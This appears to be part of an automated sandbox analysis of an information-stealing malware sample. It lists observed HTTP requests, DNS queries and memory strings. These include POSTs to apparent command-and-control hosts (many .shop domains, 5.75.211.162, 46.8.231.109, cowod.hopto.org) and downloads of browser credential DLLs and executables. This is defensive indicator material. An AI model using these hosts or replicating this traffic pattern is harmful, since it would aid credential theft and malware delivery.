Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHIJKJKFIDHJKFBGHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ballotnwu.site
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 5961Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: cowod.hopto.orgContent-Length: 5749Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_00404880

Source: global traffic	HTTP traffic detected: GET /vdshfd.exe HTTP/1.1Host: dbsmena.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ljhgfsd.exe HTTP/1.1Host: dbsmena.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ljhgfsd.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: dbsmena.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vdshfd.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: dbsmena.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache

Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: ed.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: dbsmena.com
Source: global traffic	DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic	DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic	DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic	DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic	DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic	DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic	DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic	DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: ballotnwu.site
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop

Source: RegAsm.exe, 0000000F.00000002.2069276700.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: RegAsm.exe, 00000002.00000002.2244524947.000000000117A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/%
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dllM?
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: RegAsm.exe, 00000002.00000002.2244524947.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllm
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllG
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dllh
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/7
Source: RegAsm.exe, 00000002.00000002.2264784834.00000000274D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php1f9a9c4a2f8b514.cdf-ms
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php32
Source: RegAsm.exe, 00000002.00000002.2264784834.00000000274D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php:
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php=2%
Source: RegAsm.exe, 00000002.00000002.2264784834.00000000274D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpM
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpY
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpp
Source: RegAsm.exe, 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----HIDAAKEGDBFIJJKFHCFBultrelease
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phps
Source: RegAsm.exe, 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109FCBKorm-data;
Source: RegAsm.exe, 00000002.00000002.2244524947.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109Wb
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.GCBKFIEBGCAA
Source: RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.EBGCAA
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: RegAsm.exe, 00000008.00000002.2624007982.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgCAA
Source: userKECGDBFCBK.exe, 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000008.00000002.2624007982.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoIEBGCAA
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
